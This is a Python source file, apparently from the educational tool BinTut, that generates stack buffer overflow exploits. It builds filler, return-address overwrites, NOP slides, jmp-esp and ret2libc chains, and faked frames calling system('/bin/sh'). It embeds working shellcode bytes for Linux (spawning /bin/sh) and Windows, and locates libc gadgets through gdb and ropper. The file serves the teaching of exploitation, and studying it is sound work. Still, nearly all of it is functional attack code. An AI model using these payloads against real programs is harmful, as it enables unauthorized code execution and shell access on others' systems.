"""
Copyright 2016 Gu Zhengxiong <rectigu@gmail.com>

This file is part of BinTut.

BinTut is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.

BinTut is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with BinTut.  If not, see <http://www.gnu.org/licenses/>.
"""


from __future__ import division, absolute_import, print_function
from os.path import isfile, realpath
from binascii import hexlify

from ropper import Loader, Ropper
from elftools.elf.elffile import ELFFile
from elftools.elf.sections import SymbolTableSection

from .init import LoggingMixIn, red
from .debuggers import Debugger, align_32, align_64
from .utils import p32, tree


def make_payload(offset, addr, post):
    """Make a payload of the specified kind."""
    if post == 'plain':
        payload = Fill(offset) + Plain(addr) + Shellcode()
    elif post == 'nop-slide':
        payload = Fill(offset) + Plain(addr) + Nop(32) + Shellcode()
    elif post == 'jmp-esp':
        payload = Fill(offset) + JmpEsp() + Shellcode()
    elif post == 'ret2lib':
        payload = Fill(offset) + Ret2Fun()
    elif post == 'frame-faking':
        payload = (
            Faked(offset=offset, address=addr) +
            Faked(b'system', ['/bin/sh']) +
            Faked(b'execl', ['/bin/sh', '/bin/sh', 0]) +
            Faked(b'exit', [0]))
    else:
        raise ValueError('No such payload!')
    return payload.payload


# TODO: Use other friendly and consistent libraries.
class Environment(LoggingMixIn):
    """Exploit generation environment."""
    PLATFORM = None
    # TODO: Substitute ``BITS`` with ``ABI``.
    BITS = None
    POINTER_SIZE = None
    ASLR = False
    debugger = None

    def __init__(self, platform=None, bits=None, pointer_size=None,
                 aslr=False):
        self.__class__.ASLR = aslr
        if platform is None:
            from .utils import simple_platform
            platform = simple_platform()
        self.logger.debug('platform: %s', platform)
        self.__class__.PLATFORM = platform
        backend = 'gdb' if platform == 'linux' else 'cdb'
        self.__class__.debugger = Debugger(self, backend)

        if bits is None:
            bits = 32
        self.logger.debug('bits: %s', bits)
        self.__class__.BITS = bits
        prefix = 'e' if bits == 32 else 'r'
        self.logger.debug('prefix: %s', prefix)
        for reg in ['ip', 'sp', 'bp',
                    'ax', 'si', 'di',
                    'bx', 'cx', 'dx']:
            setattr(self.__class__, reg.upper(), prefix + reg)

        if pointer_size is None:
            pointer_size = 4 if bits == 32 else 8
        self.logger.debug('pointer_size: %s', pointer_size)
        self.__class__.POINTER_SIZE = pointer_size


class Payload(Environment):
    """Payload."""
    def __init__(self, payload=None):
        # Don't initialize Environment.
        if payload is None:
            payload = b''
        self.payload = payload

    def compose(self):
        return self.payload

    def __add__(self, other):
        self.logger.debug('self.__class__: %s', self.__class__)
        return self.__class__(self.compose() + other.compose())


class Fill(Payload):
    """Memory filling payload component."""
    def __init__(self, count, byte=b'A'):
        self.count = count
        self.byte = byte

    def compose(self):
        return self.count * self.byte

    # TODO: Strive to remove this.
    def __add__(self, other):
        return Payload(self.compose() + other.compose())


class Plain(Payload):
    """Plain EIP / RIP overwriting."""
    def __init__(self, address):
        self.address = address

    def compose(self):
        return p32(self.address)


class Nop(Fill):
    """Memory NOP filling component."""
    def __init__(self, count):
        Fill.__init__(self, count, b'\x90')


class JmpEsp(Payload):
    """JMP ESP."""
    def compose(self):
        jmp_esp_address = Resolver().get('jmp esp')
        return p32(jmp_esp_address)


# TODO: Rely on other libraries.
class Shellcode(Payload):
    """Shellcode component."""
    def __init__(self):
        self.logger.debug('PLATFORM: %s', self.PLATFORM)
        self.logger.debug('BITS: %s', self.BITS)
        self.logger.debug('POINTER_SIZE: %s', self.POINTER_SIZE)

        lin32 = b'\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f' \
                b'\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd' \
                b'\x80'
        lin64 = b'\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f' \
                b'\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31' \
                b'\xd2\x0f\x05'
        win32 = b'\x33\xc9\x64\x8b\x49\x30\x8b\x49\x0c\x8b' \
                b'\x49\x1c\x8b\x59\x08\x8b\x41\x20\x8b\x09' \
                b'\x80\x78\x0c\x33\x75\xf2\x8b\xeb\x03\x6d' \
                b'\x3c\x8b\x6d\x78\x03\xeb\x8b\x45\x20\x03' \
                b'\xc3\x33\xd2\x8b\x34\x90\x03\xf3\x42\x81' \
                b'\x3e\x47\x65\x74\x50\x75\xf2\x81\x7e\x04' \
                b'\x72\x6f\x63\x41\x75\xe9\x8b\x75\x24\x03' \
                b'\xf3\x66\x8b\x14\x56\x8b\x75\x1c\x03\xf3' \
                b'\x8b\x74\x96\xfc\x03\xf3\x33\xff\x57\x68' \
                b'\x61\x72\x79\x41\x68\x4c\x69\x62\x72\x68' \
                b'\x4c\x6f\x61\x64\x54\x53\xff\xd6\x33\xc9' \
                b'\x57\x66\xb9\x33\x32\x51\x68\x75\x73\x65' \
                b'\x72\x54\xff\xd0\x57\x68\x6f\x78\x41\x01' \
                b'\xfe\x4c\x24\x03\x68\x61\x67\x65\x42\x68' \
                b'\x4d\x65\x73\x73\x54\x50\xff\xd6\x57\x68' \
                b'\x72\x6c\x64\x21\x68\x6f\x20\x57\x6f\x68' \
                b'\x48\x65\x6c\x6c\x8b\xcc\x57\x57\x51\x57' \
                b'\xff\xd0\x57\x68\x65\x73\x73\x01\xfe\x4c' \
                b'\x24\x03\x68\x50\x72\x6f\x63\x68\x45\x78' \
                b'\x69\x74\x54\x53\xff\xd6\x57\xff\xd0'
        win64 = b''

        self.shellcode = tree()
        self.shellcode['linux'][32] = lin32
        self.shellcode['linux'][64] = lin64
        self.shellcode['win32'][32] = win32
        self.shellcode['win32'][64] = win64

    def compose(self):
        self.logger.debug('PLATFORM: %s', self.PLATFORM)
        self.logger.debug('BITS: %s', self.BITS)
        shellcode = self.shellcode[self.PLATFORM][self.BITS]
        self.logger.debug('shellcode: %s', shellcode)
        return shellcode


class Ret2Fun(Payload):
    """Return to functions."""
    def compose(self):
        resolver = Resolver()
        system = resolver.get(b'system')
        binsh = resolver.get('/bin/sh')
        exit_addr = resolver.get(b'exit')
        exit_code = b'\x00' * self.POINTER_SIZE
        return p32(system) + p32(exit_addr) + p32(binsh) + exit_code


class Faked(Payload):
    """A faked frame.

    Three valid use cases are as follows:
    Faked(name, args) is a normal frame,
    Faked(offset=offset, address=address) the starting frame, and
    Faked(address=address, payload=payload) the resulting frame.
    """
    filling_byte = b'A'

    def __init__(self, name=None, args=None, offset=None,
                 address=None, payload=None, next_address=None):
        self.offset = offset
        self.address = address
        self.name = name
        self.resolver = Resolver()
        self.leave_ret = self.resolver.get('leave ret')

        if args is None:
            self.args = []
        else:
            self.args = args

        if self.offset:
            # Construct the starting faked frame.
            self.payload = (
                self.filling_byte*(offset-self.POINTER_SIZE) +
                p32(self.address) +
                p32(self.leave_ret))
        else:
            self.payload = payload

        self.next_address = next_address

    def __add__(self, other):
        """Combine two faked frames.

        Expected left operands should be either
        the starting faked frame or resulting frames constructed by
        a previous combination, while right operands a normal frame.
        """
        if isinstance(other, Shellcode):
            # TODO: Support adding shellcode.
            address = hex(int(self.address, 16) + len(other.sc))
            payload = (
                self.filling_byte*(
                    self.offset-self.POINTER_SIZE) +
                p32(address) + p32(self.leave_ret) + other.sc)
        elif other.next_address:
            address = other.next_address
            payload = (
                self.payload + p32(address) + p32(address) +
                p32(self.leave_ret))
        else:
            address = hex((int(self.address, 16) +
                           3*self.POINTER_SIZE +
                           len(other.args)*self.POINTER_SIZE))
            payload = (self.payload +
                       p32(address) +
                       p32(self.resolver.get(other.name)) +
                       p32(self.leave_ret) + other.make_args())
        # Construct a resulting frame.
        return self.__class__(address=address, payload=payload)

    def make_args(self):
        """Prepare stack arguments for the function in the frame.

        For the time being, it handles strings and integrals.
        """
        args = b''
        for arg in self.args:
            if isinstance(arg, int):
                args += p32('{:#010x}'.format(arg))
            elif isinstance(arg, str):
                args += p32(self.resolver.get(arg))
            else:
                raise ValueError
        return args


class PopPopRet(Payload):
    pass


class Resolver(Environment):
    """Resolve symbol addresses."""
    def __init__(self):
        # Don't initialize Environment.
        # TODO: Support Windows.
        self.path = self.get_libc_path()
        self.logger.debug('libc path: %s', self.path)
        self.libc = Loader.open(self.path)
        self.libc.imageBase = self.get_libc_base_address()
        self.ropper = Ropper()

    def get(self, name):
        if name == 'jmp esp':
            return self.get_jmp_esp_address()
        elif name == '/bin/sh':
            return self.get_bin_sh_address()
        elif name == 'leave ret':
            return self.get_leave_ret_address()
        elif name == 'pop pop ret':
            return self.get_pop_pop_ret_address()
        else:
            return self.get_func_address(name)

    def get_jmp_esp_address(self):
        many = self.ropper.searchJmpReg(self.libc, ['esp'])
        for one in many:
            address = one.address
            break
        else:
            raise RuntimeError('Failed to find jmp esp!')
        return self.handle_address(address)

    def get_pop_pop_ret_address(self):
        many = self.ropper.searchPopPopRet(self.libc)
        for one in many:
            address = one.address
            break
        else:
            raise RuntimeError('Failed to find leave ret!')
        return self.handle_address(address)

    def get_leave_ret_address(self):
        many = self.ropper.searchOpcode(self.libc, 'c9c3')
        for one in many:
            address = one.address
            break
        else:
            raise RuntimeError('Failed to find leave ret!')
        return self.handle_address(address)

    def get_bin_sh_address(self):
        many = self.ropper.searchOpcode(
            self.libc, hexlify(b'/bin/sh').decode('utf-8'))
        for one in many:
            address = one.address
            break
        else:
            raise RuntimeError('Failed to find /bin/sh!')
        return self.handle_address(address)

    def get_func_address(self, name):
        address = None
        with open(self.path, 'rb') as stream:
            elf = ELFFile(stream)
            for section in elf.iter_sections():
                if isinstance(section, SymbolTableSection):
                    for symbol in section.iter_symbols():
                        if symbol.name == name:
                            self.logger.debug('%s', symbol.entry)
                            address = symbol.entry['st_value']
                            break
                if address:
                    break
            else:
                raise RuntimeError('Failed to find {}'.format(name))
        return self.handle_address(address + self.libc.imageBase)

    def handle_address(self, address):
        self.logger.debug('address: %s', address)
        address = hex(address).strip('L')
        self.logger.debug('hex stripped: %s', address)
        if self.BITS == 64:
            address = align_64(address)
        else:
            address = align_32(address)
        self.logger.debug('aligned: %s', address)
        command = 'x/4i {}'.format(address)
        result = self.debugger.execute(command)
        self.logger.debug('%s: %s', command, result)
        return address

    def get_libc_base_address(self):
        base_address = None
        mapping = self.debugger.execute('info proc mapping')
        for line in mapping.splitlines():
            self.logger.debug('line: %s', line)
            if self.path in line:
                base_address = int(line.split()[0], 16)
                break
        else:
            raise RuntimeError('Failed to find libc base!')
        return base_address

    def get_libc_path(self):
        # TODO: Remove hardcode.
        if self.BITS == 32:
            maybe = ['/usr/lib32/libc.so.6',
                     '/usr/lib/libc.so.6',
                     '/lib/i386-linux-gnu/i686/cmov/libc.so.6']
        else:
            maybe = ['/usr/lib64/libc.so.6',
                     '/usr/lib/libc.so.6',
                     '/lib/x86_64-linux-gnu/libc.so.6']
        for path in maybe:
            if isfile(path):
                break
        else:
            raise RuntimeError('Failed to find the path to libc.')
        return realpath(path)
